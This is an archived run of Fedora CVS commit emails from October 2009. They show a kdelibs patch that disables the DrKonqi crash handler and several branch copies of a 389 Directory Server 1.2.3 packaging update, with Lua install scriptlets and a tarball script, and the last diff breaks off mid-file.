Subject: rpms/kdelibs/F-10 kdelibs-4.3.1-drkonq.patch,NONE,1.1
Message-ID: <20091007153010.E63C811C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16589

Added Files:
	kdelibs-4.3.1-drkonq.patch 
Log Message:
forgotten patch


kdelibs-4.3.1-drkonq.patch:
 kcrash.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kdelibs-4.3.1-drkonq.patch ---
diff -up kdelibs-4.3.1/kdeui/util/kcrash.cpp.orig kdelibs-4.3.1/kdeui/util/kcrash.cpp
--- kdelibs-4.3.1/kdeui/util/kcrash.cpp.orig	2009-09-21 17:42:19.000000000 +0200
+++ kdelibs-4.3.1/kdeui/util/kcrash.cpp	2009-09-21 17:43:44.000000000 +0200
@@ -67,7 +67,7 @@ static char *s_autoRestartCommand = 0;
 static char *s_appPath = 0;
 static char *s_drkonqiPath = 0;
 static KCrash::CrashFlags s_flags = 0;
-static bool s_launchDrKonqi = true;
+static bool s_launchDrKonqi = false;
 
 namespace KCrash
 {



From rmeggins at fedoraproject.org  Wed Oct  7 15:42:35 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:42:35 +0000 (UTC)
Subject: rpms/389-ds-base/F-10 389-ds-base-git-local.sh, NONE, 1.1 .cvsignore,
	1.3, 1.4 389-ds-base.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091007154235.1251711C00E6@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19772/F-10

Modified Files:
	.cvsignore 389-ds-base.spec sources 
Added Files:
	389-ds-base-git-local.sh 
Log Message:
1.2.3 release
added template-initconfig to %files
%posttrans now runs update to update the server instances
servers are shutdown, then restarted if running before install
scriptlets mostly use lua now to pass data among scriptlet phases
Added 389-ds-base-git-local.sh script to generate a source tarball
from a local git repository and a git tag



--- NEW FILE 389-ds-base-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
# use a real tag name here
TAG=389-ds-base-1.2.3
VERSION=1.2.3
PKGNAME=389-ds-base
#SRCNAME=$PKGNAME-$VERSION-$DATE
SRCNAME=$PKGNAME-$VERSION

echo you must be in the ds git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi

git archive --prefix=$SRCNAME/ $TAG | bzip2 > $dir/$SRCNAME.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	25 Aug 2009 20:00:51 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:42:34 -0000	1.4
@@ -1,2 +1 @@
-389-ds-base-1.2.1.tar.bz2
-389-ds-base-1.2.2.tar.bz2
+389-ds-base-1.2.3.tar.bz2


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/389-ds-base.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- 389-ds-base.spec	8 Sep 2009 19:24:58 -0000	1.5
+++ 389-ds-base.spec	7 Oct 2009 15:42:34 -0000	1.6
@@ -3,8 +3,8 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.2
-Release:          2%{?dist}
+Version:          1.2.3
+Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -146,24 +146,37 @@ if rc == 0 then
     end
 end
 
-%post
-/sbin/chkconfig --add %{pkgname}
-/sbin/ldconfig
-# this has been problematic - if this directory
-# does not exist, the server will silently fail to
-# start - however, if the user has already created
-# it, we don't want to overwrite the permissions
-# on it - so we can't list it explicitly in the
-# files section - we list it as a ghost so that
-# it will be removed when the rpm is removed
-if [ ! -d %{_localstatedir}/run/%{pkgname} ] ; then
-    mkdir -p %{_localstatedir}/run/%{pkgname}
-fi
+%post -p <lua>
+os.execute('/sbin/chkconfig --add %{pkgname}')
+os.execute('/sbin/ldconfig')
+os.execute('/sbin/chkconfig --add %{pkgname}-snmp')
+-- this has been problematic - if this directory
+-- does not exist, the server will silently fail to
+-- start - however, if the user has already created
+-- it, we don't want to overwrite the permissions
+-- on it - so we can't list it explicitly in the
+-- files section - we list it as a ghost so that
+-- it will be removed when the rpm is removed
+if not posix.access("%{_localstatedir}/run/%{pkgname}") then
+    posix.mkdir("%{_localstatedir}/run/%{pkgname}")
+end
+-- since posttrans is not passed the upgrade status, we get
+-- it here
+if (arg[2] > 1) or %{pkgname}_exists then
+--    print("in %{pkgname} post - upgrading")
+    %{pkgname}_upgrading = true
+else
+--    print("in %{pkgname} post - installing")
+    %{pkgname}_upgrading = false
+end
+
 
 %preun
 if [ $1 = 0 ]; then
         /sbin/service %{pkgname} stop >/dev/null 2>&1 || :
         /sbin/chkconfig --del %{pkgname}
+        /sbin/service %{pkgname}-snmp stop >/dev/null 2>&1 || :
+        /sbin/chkconfig --del %{pkgname}-snmp
 fi
 
 %postun -p /sbin/ldconfig
@@ -177,9 +190,45 @@ if %{pkgname}_savelinks then
 --        print("posttrans - restored run level "..fullpath.." to "..link)
     end
 end
+if %{pkgname}_upgrading then
+    instbase = "%{_sysconfdir}/%{pkgname}"
+--    print("posttrans - upgrading - looking for instances in "..instbase)
+-- find all instances
+    instances = {} -- instances that require a restart after upgrade
+    for dir in posix.files(instbase) do
+--        print("dir="..dir)
+        if string.find(dir,"^slapd-") and not string.find(dir,"\.removed$") then
+            inst = string.gsub(dir,"^slapd[-]", "")
+--            print("found instance "..inst.." getting status")
+            rc = os.execute('/sbin/service %{pkgname} status '..inst..' >/dev/null 2>&1')
+-- if instance is running, we must restart it after upgrade
+            if rc == 0 then
+                instances[inst] = inst
+--                print("instance "..inst.." is running")
+--            else
+--                print("instance "..inst.." is shutdown")
+            end
+        end
+    end
+-- shutdown all instances
+--    print("shutting down all instances . . .")
+    os.execute('/sbin/service %{pkgname} stop > /dev/null 2>&1')
+-- do the upgrade
+--    print("upgrading instances . . .")
+    os.execute('%{_sbindir}/setup-ds.pl -l /dev/null -u -s General.UpdateMode=offline > /dev/null 2>&1')
+-- restart instances that require it
+    for inst,dummy in pairs(instances) do
+--        print("restarting instance "..inst)
+        os.execute('/sbin/service %{pkgname} start '..inst..' >/dev/null 2>&1')
+    end
+end
+-- if we upgraded from fedora to 389, the upgrade will shutdown
+-- all old running instances, so we have to start them here
 if %{pkgname}_exists then
+--    print("restarting all instances due to package rename")
     os.execute('/sbin/service %{pkgname} start >/dev/null 2>&1')
 end
+   
 
 %files
 %defattr(-,root,root,-)
@@ -190,9 +239,12 @@ end
 %dir %{_sysconfdir}/%{pkgname}/config
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/slapd-collations.conf
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/certmap.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/ldap-agent.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/template-initconfig
 %config(noreplace)%{_sysconfdir}/sysconfig/%{pkgname}
 %{_datadir}/%{pkgname}
 %{_sysconfdir}/rc.d/init.d/%{pkgname}
+%{_sysconfdir}/rc.d/init.d/%{pkgname}-snmp
 %{_bindir}/*
 %{_sbindir}/*
 %dir %{_libdir}/%{pkgname}
@@ -213,6 +265,13 @@ end
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
+- 1.2.3 release
+- added template-initconfig to %files
+- %posttrans now runs update to update the server instances
+- servers are shutdown, then restarted if running before install
+- scriptlets mostly use lua now to pass data among scriptlet phases
+
 * Tue Sep 08 2009 Nathan Kinder <nkinder at redhat.com> - 1.2.2-2
 - removed BuildRequires for lm_sensors on s390 and s390x
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Aug 2009 20:00:51 -0000	1.4
+++ sources	7 Oct 2009 15:42:34 -0000	1.5
@@ -1 +1 @@
-143564394e4ad20bf4ea96e3e8ce970a  389-ds-base-1.2.2.tar.bz2
+1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:42:35 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:42:35 +0000 (UTC)
Subject: rpms/389-ds-base/F-12 389-ds-base-git-local.sh, NONE, 1.1 .cvsignore,
	1.3, 1.4 389-ds-base.spec, 1.8, 1.9 sources, 1.4, 1.5
Message-ID: <20091007154235.8910711C00E6@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19772/F-12

Modified Files:
	.cvsignore 389-ds-base.spec sources 
Added Files:
	389-ds-base-git-local.sh 
Log Message:
1.2.3 release
added template-initconfig to %files
%posttrans now runs update to update the server instances
servers are shutdown, then restarted if running before install
scriptlets mostly use lua now to pass data among scriptlet phases
Added 389-ds-base-git-local.sh script to generate a source tarball
from a local git repository and a git tag



--- NEW FILE 389-ds-base-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
# use a real tag name here
TAG=389-ds-base-1.2.3
VERSION=1.2.3
PKGNAME=389-ds-base
#SRCNAME=$PKGNAME-$VERSION-$DATE
SRCNAME=$PKGNAME-$VERSION

echo you must be in the ds git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi

git archive --prefix=$SRCNAME/ $TAG | bzip2 > $dir/$SRCNAME.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	25 Aug 2009 20:00:51 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:42:35 -0000	1.4
@@ -1,2 +1 @@
-389-ds-base-1.2.1.tar.bz2
-389-ds-base-1.2.2.tar.bz2
+389-ds-base-1.2.3.tar.bz2


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/389-ds-base.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- 389-ds-base.spec	8 Sep 2009 19:24:58 -0000	1.8
+++ 389-ds-base.spec	7 Oct 2009 15:42:35 -0000	1.9
@@ -3,8 +3,8 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.2
-Release:          3%{?dist}
+Version:          1.2.3
+Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -53,6 +53,9 @@ Requires:         db4-utils
 # This picks up libperl.so as a Requires, so we add this versioned one
 Requires:         perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
+# This is for the fedora-ds -> 389 run level hack
+Requires(posttrans): /sbin/service
+
 # for the init script
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
@@ -119,28 +122,114 @@ sed -i -e 's|#{{PERL-EXEC}}|#!/usr/bin/p
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%post
-/sbin/chkconfig --add %{pkgname}
-/sbin/ldconfig
-# this has been problematic - if this directory
-# does not exist, the server will silently fail to
-# start - however, if the user has already created
-# it, we don't want to overwrite the permissions
-# on it - so we can't list it explicitly in the
-# files section - we list it as a ghost so that
-# it will be removed when the rpm is removed
-if [ ! -d %{_localstatedir}/run/%{pkgname} ] ; then
-    mkdir -p %{_localstatedir}/run/%{pkgname}
-fi
+%pre -p <lua>
+-- see if fedora-ds-base exists - if so, save the run level configuration
+-- and set a flag that tells us to restore that config in %posttrans
+-- and restart the server
+-- we can get rid of this code once Fedora 11 becomes obsolete
+rc = os.execute('rpm --quiet -q fedora-ds-base')
+if rc == 0 then
+    %{pkgname}_exists = true
+    %{pkgname}_savelinks = {}
+    for dir in posix.files("%{_sysconfdir}/rc.d") do
+        if string.find(dir, "rc%d.d") then
+--          print("looking in %{_sysconfdir}/rc.d/"..dir)
+            for link in posix.files("%{_sysconfdir}/rc.d/"..dir) do
+                if string.find(link, "[SK]%d%d%{pkgname}") then
+                    fullname = "%{_sysconfdir}/rc.d/"..dir.."/"..link
+                    linked = posix.readlink(fullname)
+--                  print(fullname.." is linked to "..linked)
+                    %{pkgname}_savelinks[fullname] = linked
+                end
+            end
+        end
+    end
+end
+
+%post -p <lua>
+os.execute('/sbin/chkconfig --add %{pkgname}')
+os.execute('/sbin/ldconfig')
+os.execute('/sbin/chkconfig --add %{pkgname}-snmp')
+-- this has been problematic - if this directory
+-- does not exist, the server will silently fail to
+-- start - however, if the user has already created
+-- it, we don't want to overwrite the permissions
+-- on it - so we can't list it explicitly in the
+-- files section - we list it as a ghost so that
+-- it will be removed when the rpm is removed
+if not posix.access("%{_localstatedir}/run/%{pkgname}") then
+    posix.mkdir("%{_localstatedir}/run/%{pkgname}")
+end
+-- since posttrans is not passed the upgrade status, we get
+-- it here
+if (arg[2] > 1) or %{pkgname}_exists then
+--    print("in %{pkgname} post - upgrading")
+    %{pkgname}_upgrading = true
+else
+--    print("in %{pkgname} post - installing")
+    %{pkgname}_upgrading = false
+end
+
 
 %preun
 if [ $1 = 0 ]; then
         /sbin/service %{pkgname} stop >/dev/null 2>&1 || :
         /sbin/chkconfig --del %{pkgname}
+        /sbin/service %{pkgname}-snmp stop >/dev/null 2>&1 || :
+        /sbin/chkconfig --del %{pkgname}-snmp
 fi
 
 %postun -p /sbin/ldconfig
 
+%posttrans -p <lua>
+-- if we saved the run level configuration in %pre, restore it now
+-- we can get rid of this code once Fedora 11 becomes obsolete
+if %{pkgname}_savelinks then
+    for fullpath,link in pairs(%{pkgname}_savelinks) do
+        posix.symlink(link,fullpath)
+--        print("posttrans - restored run level "..fullpath.." to "..link)
+    end
+end
+if %{pkgname}_upgrading then
+    instbase = "%{_sysconfdir}/%{pkgname}"
+--    print("posttrans - upgrading - looking for instances in "..instbase)
+-- find all instances
+    instances = {} -- instances that require a restart after upgrade
+    for dir in posix.files(instbase) do
+--        print("dir="..dir)
+        if string.find(dir,"^slapd-") and not string.find(dir,"\.removed$") then
+            inst = string.gsub(dir,"^slapd[-]", "")
+--            print("found instance "..inst.." getting status")
+            rc = os.execute('/sbin/service %{pkgname} status '..inst..' >/dev/null 2>&1')
+-- if instance is running, we must restart it after upgrade
+            if rc == 0 then
+                instances[inst] = inst
+--                print("instance "..inst.." is running")
+--            else
+--                print("instance "..inst.." is shutdown")
+            end
+        end
+    end
+-- shutdown all instances
+--    print("shutting down all instances . . .")
+    os.execute('/sbin/service %{pkgname} stop > /dev/null 2>&1')
+-- do the upgrade
+--    print("upgrading instances . . .")
+    os.execute('%{_sbindir}/setup-ds.pl -l /dev/null -u -s General.UpdateMode=offline > /dev/null 2>&1')
+-- restart instances that require it
+    for inst,dummy in pairs(instances) do
+--        print("restarting instance "..inst)
+        os.execute('/sbin/service %{pkgname} start '..inst..' >/dev/null 2>&1')
+    end
+end
+-- if we upgraded from fedora to 389, the upgrade will shutdown
+-- all old running instances, so we have to start them here
+if %{pkgname}_exists then
+--    print("restarting all instances due to package rename")
+    os.execute('/sbin/service %{pkgname} start >/dev/null 2>&1')
+end
+   
+
 %files
 %defattr(-,root,root,-)
 %doc LICENSE EXCEPTION LICENSE.GPLv2
@@ -150,9 +239,12 @@ fi
 %dir %{_sysconfdir}/%{pkgname}/config
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/slapd-collations.conf
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/certmap.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/ldap-agent.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/template-initconfig
 %config(noreplace)%{_sysconfdir}/sysconfig/%{pkgname}
 %{_datadir}/%{pkgname}
 %{_sysconfdir}/rc.d/init.d/%{pkgname}
+%{_sysconfdir}/rc.d/init.d/%{pkgname}-snmp
 %{_bindir}/*
 %{_sbindir}/*
 %dir %{_libdir}/%{pkgname}
@@ -173,8 +265,12 @@ fi
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
-* Tue Sep 08 2009 Nathan Kinder <nkinder at redhat.com> - 1.2.2-3
-- removed BuildRequires for lm_sensors on s390 and s390x
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
+- 1.2.3 release
+- added template-initconfig to %files
+- %posttrans now runs update to update the server instances
+- servers are shutdown, then restarted if running before install
+- scriptlets mostly use lua now to pass data among scriptlet phases
 
 * Tue Sep 01 2009 Caol?n McNamara <caolanm at redhat.com> - 1.2.2-2
 - rebuild with new openssl to fix dependencies


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Aug 2009 20:00:52 -0000	1.4
+++ sources	7 Oct 2009 15:42:35 -0000	1.5
@@ -1 +1 @@
-143564394e4ad20bf4ea96e3e8ce970a  389-ds-base-1.2.2.tar.bz2
+1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:42:35 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:42:35 +0000 (UTC)
Subject: rpms/389-ds-base/devel 389-ds-base-git-local.sh, NONE,
	1.1 .cvsignore, 
	1.3, 1.4 389-ds-base.spec, 1.8, 1.9 sources, 1.4, 1.5
Message-ID: <20091007154235.C2DEC11C00E6@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19772/devel

Modified Files:
	.cvsignore 389-ds-base.spec sources 
Added Files:
	389-ds-base-git-local.sh 
Log Message:
1.2.3 release
added template-initconfig to %files
%posttrans now runs update to update the server instances
servers are shutdown, then restarted if running before install
scriptlets mostly use lua now to pass data among scriptlet phases
Added 389-ds-base-git-local.sh script to generate a source tarball
from a local git repository and a git tag



--- NEW FILE 389-ds-base-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
# use a real tag name here
TAG=389-ds-base-1.2.3
VERSION=1.2.3
PKGNAME=389-ds-base
#SRCNAME=$PKGNAME-$VERSION-$DATE
SRCNAME=$PKGNAME-$VERSION

echo you must be in the ds git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi

git archive --prefix=$SRCNAME/ $TAG | bzip2 > $dir/$SRCNAME.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	25 Aug 2009 20:00:51 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:42:35 -0000	1.4
@@ -1,2 +1 @@
-389-ds-base-1.2.1.tar.bz2
-389-ds-base-1.2.2.tar.bz2
+389-ds-base-1.2.3.tar.bz2


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/389-ds-base.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- 389-ds-base.spec	8 Sep 2009 19:24:58 -0000	1.8
+++ 389-ds-base.spec	7 Oct 2009 15:42:35 -0000	1.9
@@ -3,8 +3,8 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.2
-Release:          3%{?dist}
+Version:          1.2.3
+Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -53,6 +53,9 @@ Requires:         db4-utils
 # This picks up libperl.so as a Requires, so we add this versioned one
 Requires:         perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
+# This is for the fedora-ds -> 389 run level hack
+Requires(posttrans): /sbin/service
+
 # for the init script
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
@@ -119,28 +122,114 @@ sed -i -e 's|#{{PERL-EXEC}}|#!/usr/bin/p
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%post
-/sbin/chkconfig --add %{pkgname}
-/sbin/ldconfig
-# this has been problematic - if this directory
-# does not exist, the server will silently fail to
-# start - however, if the user has already created
-# it, we don't want to overwrite the permissions
-# on it - so we can't list it explicitly in the
-# files section - we list it as a ghost so that
-# it will be removed when the rpm is removed
-if [ ! -d %{_localstatedir}/run/%{pkgname} ] ; then
-    mkdir -p %{_localstatedir}/run/%{pkgname}
-fi
+%pre -p <lua>
+-- see if fedora-ds-base exists - if so, save the run level configuration
+-- and set a flag that tells us to restore that config in %posttrans
+-- and restart the server
+-- we can get rid of this code once Fedora 11 becomes obsolete
+rc = os.execute('rpm --quiet -q fedora-ds-base')
+if rc == 0 then
+    %{pkgname}_exists = true
+    %{pkgname}_savelinks = {}
+    for dir in posix.files("%{_sysconfdir}/rc.d") do
+        if string.find(dir, "rc%d.d") then
+--          print("looking in %{_sysconfdir}/rc.d/"..dir)
+            for link in posix.files("%{_sysconfdir}/rc.d/"..dir) do
+                if string.find(link, "[SK]%d%d%{pkgname}") then
+                    fullname = "%{_sysconfdir}/rc.d/"..dir.."/"..link
+                    linked = posix.readlink(fullname)
+--                  print(fullname.." is linked to "..linked)
+                    %{pkgname}_savelinks[fullname] = linked
+                end
+            end
+        end
+    end
+end
+
+%post -p <lua>
+os.execute('/sbin/chkconfig --add %{pkgname}')
+os.execute('/sbin/ldconfig')
+os.execute('/sbin/chkconfig --add %{pkgname}-snmp')
+-- this has been problematic - if this directory
+-- does not exist, the server will silently fail to
+-- start - however, if the user has already created
+-- it, we don't want to overwrite the permissions
+-- on it - so we can't list it explicitly in the
+-- files section - we list it as a ghost so that
+-- it will be removed when the rpm is removed
+if not posix.access("%{_localstatedir}/run/%{pkgname}") then
+    posix.mkdir("%{_localstatedir}/run/%{pkgname}")
+end
+-- since posttrans is not passed the upgrade status, we get
+-- it here
+if (arg[2] > 1) or %{pkgname}_exists then
+--    print("in %{pkgname} post - upgrading")
+    %{pkgname}_upgrading = true
+else
+--    print("in %{pkgname} post - installing")
+    %{pkgname}_upgrading = false
+end
+
 
 %preun
 if [ $1 = 0 ]; then
         /sbin/service %{pkgname} stop >/dev/null 2>&1 || :
         /sbin/chkconfig --del %{pkgname}
+        /sbin/service %{pkgname}-snmp stop >/dev/null 2>&1 || :
+        /sbin/chkconfig --del %{pkgname}-snmp
 fi
 
 %postun -p /sbin/ldconfig
 
+%posttrans -p <lua>
+-- if we saved the run level configuration in %pre, restore it now
+-- we can get rid of this code once Fedora 11 becomes obsolete
+if %{pkgname}_savelinks then
+    for fullpath,link in pairs(%{pkgname}_savelinks) do
+        posix.symlink(link,fullpath)
+--        print("posttrans - restored run level "..fullpath.." to "..link)
+    end
+end
+if %{pkgname}_upgrading then
+    instbase = "%{_sysconfdir}/%{pkgname}"
+--    print("posttrans - upgrading - looking for instances in "..instbase)
+-- find all instances
+    instances = {} -- instances that require a restart after upgrade
+    for dir in posix.files(instbase) do
+--        print("dir="..dir)
+        if string.find(dir,"^slapd-") and not string.find(dir,"\.removed$") then
+            inst = string.gsub(dir,"^slapd[-]", "")
+--            print("found instance "..inst.." getting status")
+            rc = os.execute('/sbin/service %{pkgname} status '..inst..' >/dev/null 2>&1')
+-- if instance is running, we must restart it after upgrade
+            if rc == 0 then
+                instances[inst] = inst
+--                print("instance "..inst.." is running")
+--            else
+--                print("instance "..inst.." is shutdown")
+            end
+        end
+    end
+-- shutdown all instances
+--    print("shutting down all instances . . .")
+    os.execute('/sbin/service %{pkgname} stop > /dev/null 2>&1')
+-- do the upgrade
+--    print("upgrading instances . . .")
+    os.execute('%{_sbindir}/setup-ds.pl -l /dev/null -u -s General.UpdateMode=offline > /dev/null 2>&1')
+-- restart instances that require it
+    for inst,dummy in pairs(instances) do
+--        print("restarting instance "..inst)
+        os.execute('/sbin/service %{pkgname} start '..inst..' >/dev/null 2>&1')
+    end
+end
+-- if we upgraded from fedora to 389, the upgrade will shutdown
+-- all old running instances, so we have to start them here
+if %{pkgname}_exists then
+--    print("restarting all instances due to package rename")
+    os.execute('/sbin/service %{pkgname} start >/dev/null 2>&1')
+end
+   
+
 %files
 %defattr(-,root,root,-)
 %doc LICENSE EXCEPTION LICENSE.GPLv2
@@ -150,9 +239,12 @@ fi
 %dir %{_sysconfdir}/%{pkgname}/config
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/slapd-collations.conf
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/certmap.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/ldap-agent.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/template-initconfig
 %config(noreplace)%{_sysconfdir}/sysconfig/%{pkgname}
 %{_datadir}/%{pkgname}
 %{_sysconfdir}/rc.d/init.d/%{pkgname}
+%{_sysconfdir}/rc.d/init.d/%{pkgname}-snmp
 %{_bindir}/*
 %{_sbindir}/*
 %dir %{_libdir}/%{pkgname}
@@ -173,8 +265,12 @@ fi
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
-* Tue Sep 08 2009 Nathan Kinder <nkinder at redhat.com> - 1.2.2-3
-- removed BuildRequires for lm_sensors on s390 and s390x
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
+- 1.2.3 release
+- added template-initconfig to %files
+- %posttrans now runs update to update the server instances
+- servers are shutdown, then restarted if running before install
+- scriptlets mostly use lua now to pass data among scriptlet phases
 
 * Tue Sep 01 2009 Caol?n McNamara <caolanm at redhat.com> - 1.2.2-2
 - rebuild with new openssl to fix dependencies


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Aug 2009 20:00:52 -0000	1.4
+++ sources	7 Oct 2009 15:42:35 -0000	1.5
@@ -1 +1 @@
-143564394e4ad20bf4ea96e3e8ce970a  389-ds-base-1.2.2.tar.bz2
+1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:42:35 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:42:35 +0000 (UTC)
Subject: rpms/389-ds-base/F-11 389-ds-base-git-local.sh, NONE, 1.1 .cvsignore,
	1.3, 1.4 389-ds-base.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091007154235.43D3C11C00E6@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19772/F-11

Modified Files:
	.cvsignore 389-ds-base.spec sources 
Added Files:
	389-ds-base-git-local.sh 
Log Message:
1.2.3 release
added template-initconfig to %files
%posttrans now runs update to update the server instances
servers are shutdown, then restarted if running before install
scriptlets mostly use lua now to pass data among scriptlet phases
Added 389-ds-base-git-local.sh script to generate a source tarball
from a local git repository and a git tag



--- NEW FILE 389-ds-base-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
# use a real tag name here
TAG=389-ds-base-1.2.3
VERSION=1.2.3
PKGNAME=389-ds-base
#SRCNAME=$PKGNAME-$VERSION-$DATE
SRCNAME=$PKGNAME-$VERSION

echo you must be in the ds git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi

git archive --prefix=$SRCNAME/ $TAG | bzip2 > $dir/$SRCNAME.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	25 Aug 2009 20:00:51 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:42:35 -0000	1.4
@@ -1,2 +1 @@
-389-ds-base-1.2.1.tar.bz2
-389-ds-base-1.2.2.tar.bz2
+389-ds-base-1.2.3.tar.bz2


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/389-ds-base.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- 389-ds-base.spec	8 Sep 2009 19:24:58 -0000	1.5
+++ 389-ds-base.spec	7 Oct 2009 15:42:35 -0000	1.6
@@ -3,8 +3,8 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.2
-Release:          2%{?dist}
+Version:          1.2.3
+Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -146,24 +146,37 @@ if rc == 0 then
     end
 end
 
-%post
-/sbin/chkconfig --add %{pkgname}
-/sbin/ldconfig
-# this has been problematic - if this directory
-# does not exist, the server will silently fail to
-# start - however, if the user has already created
-# it, we don't want to overwrite the permissions
-# on it - so we can't list it explicitly in the
-# files section - we list it as a ghost so that
-# it will be removed when the rpm is removed
-if [ ! -d %{_localstatedir}/run/%{pkgname} ] ; then
-    mkdir -p %{_localstatedir}/run/%{pkgname}
